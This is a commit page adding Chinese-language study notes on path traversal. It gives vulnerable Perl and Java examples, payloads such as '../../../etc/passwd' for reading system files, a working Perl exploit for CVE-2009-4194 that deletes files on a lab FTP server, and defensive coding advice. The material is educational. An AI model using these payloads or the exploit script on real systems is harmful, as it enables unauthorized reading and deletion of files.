[代码重构](master): 路径穿越:你的Web应用系统成了攻击者的资源管理器

2022年9月28日16:27:53
master
土豆兄弟 2 years ago
parent de794dbd85
commit 8161f593fd

@ -211,4 +211,169 @@ if (user.hasAccess("DELETE_ACCOUNT")) {
- 以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。 - 以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。
- **记录所有的访问控制类事件** - **记录所有的访问控制类事件**
- 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。 - 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。
### 1.2 路径穿越你的Web应用系统成了攻击者的资源管理器
- 路径穿越
- 那么什么是路径穿越呢?简单来说,你所构建的系统中有一个功能组件使用外部输入来构建文件名,而这个文件名会用来定位一个在受限目录的文件,如果文件名中既包含一些特
殊元素,又没有进行合理的过滤处理,就会导致路径被解析到受限文件夹之外的目录。
- 几种典型的攻击场景:
- 1-
- 这里我们来看一种典型的社交网络应用代码,每个用户的配置文件都被存储在单独的文件中,所有文件被集中到一个目录里:
```shell
my $dataPath = "/users/example/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
// 并没有对用户传入的username参数进行验证
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath")
print "<ul>\n";
while(<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";
```
- 当用户尝试去访问自己的配置文件的时候,会组成如下路径:
```shell
/users/example/prfiles/hunter
```
- 但是这里要注意的是上述代码并没有对用户传入的参数做验证,因此攻击者可以提供如下参数:
```shell
../../../etc/passwd
```
- 通过拼接,攻击者将会得到一个完整的路径:
```shell
/users/example/profiles/../../../etc/passwd ==> /etc/passwd
```
- 通过这条路径,攻击者就可以成功访问到 Linux 系统的 password 文件。
- 2-
- 下面这个代码在编写过程中考虑到输入的不安全性,采用了黑名单方式,过滤掉了输入中包含的../字符。
```shell
my $username = GetUntrustedInput();
// 黑名单方式过滤
// 对username的过滤不严格
$username = ~ s/\.\.\///;
my $filename = "/home/user/" . $username;
ReadAndSendFile($filename);
```
- 但是值得注意的是,过滤代码中并没有使用/g这个全局匹配符因此仅仅过滤掉了参数中出现的第一个../字符:
```shell
../../../etc/passwd => /home/user/../../etc/passwd
```
- 所以攻击者仍然可以通过多层拼接来实现攻击
- 3-
- 如下代码也在编写中考虑到输入的不安全性,它采用了**白名单方式**,限制了路径:
```shell
String path = getInputPath();
// 白名单方式过滤
// 对path的限制不够严格
if (path.startsWith("/safe_dir/")){
File f = new File(path);
f.delete() f.delete()
}
```
- 但是攻击者依然可以通过提供如下参数进行绕过:
```shell
/safe_dir/../etc/passwd
```
- 4-
- 如下代码通过在前端上传文件自动获取属性,凭借这样的方式限制用户输入:
```html
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```
- 如下 Java Servlet 代码通过 doPost 方法接受请求,从 HTTP Request Header 中解析文件名,然后从 Request 中读取内容后再写入本地 upload 目录
```java
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse resp
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);
String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constan
// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data")
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(reque
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.l
...
// output the file to the local upload directory
try {
// 攻击者可以修改Request中的filename进行攻击
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLo
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();
} catch (IOException ex) {
...
}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}.
..
}
```
- 上述代码一方面没有对上传的文件类型进行检查(这节课我们不探讨这个安全问题),另一方面没有检查 filename 就直接进行了拼接,因此攻击者只需要通过 Burpsuite、ZAP 等
Proxy 应用对 Request 进行拦截和修改 filename 属性即可利用路径穿越漏洞。
- 案例实战
- CVE-2009-4194
- 该漏洞是一个目录穿越漏洞,影响的软件版本是 Golden FTP Server 4.30 Free 以及Professional 版本、4.50 版本(未验证),允许攻击者通过 DELE 命令删除任意文件。
- 启动 MiTuan 中的 CVE-2009-4194 靶机,这是一个 Windows 7 系统,内置了 Golden FTP Server 4.30 版本,并且已经预先设置好了 FTP 共享路径:
```shell
C:\Users\sty\Desktop
```
- 接下来构建我们的攻击程序,为了方便我们采用 Perl 语言。如果你使用的是 Mac 电脑,那么你可以无需配置环境,直接运行我们编写好的攻击程序体验效果:
```shell
use strict;
use Net::FTP
print "1";
my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@;
$ftp->login("anonymous", "") || die $ftp->message;
$ftp->cwd("/Desktop/") || die $ftp->message;
# This deletes the file C:\Users\sty\test.txt
$ftp->delete("../test.txt");
$ftp->quit;
$ftp = undef;
```
- 通过上述的代码我们可以看到C:\Users\sty\test.txt文件已经被删除了我们成功穿越了 FTP Server 的限制,实现了了任意文件的删除!
- 防御方案
- 在编码实现阶段:
- 假设所有的输入都是恶意的,使用“只接受已知的善意的”输入检查策略,也就是使用一些定义清晰且严格的参数格式;
- 输入都应该被解码为程序内部的处理格式,并且确保在应用系统没有被二次解码,防止攻击者通过编码或者二次编码进行绕过;
- 如果可能,为用户提供选项或者通过应用系统内部 ID 映射的方式进行对象访问,例如 ID 1 对应“info.txt”
- 确保 Error Message 只包含最小必要信息,避免过于详细的信息展示,防止攻击者因此获取系统相关信息。
- 在架构设计阶段:
- 确保所有客户端发生的安全检查,都在服务端完成第二次检查,这样做的目的是防止攻击者在客户端进行安全检查绕过;
- 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。
- 在防御建设阶段:
- 使用可以防御这种类型攻击的应用层防火墙,在某些特定情况下(比如应用系统漏洞无法修复)非常有效;
- 使用最小权限运行开发完毕的应用系统,如果可能,创建独立的受限账户用于应用系统运行;
- 使用沙箱环境运行开发完毕的应用系统,做好进程和系统之间的边界隔离。
Loading…
Cancel
Save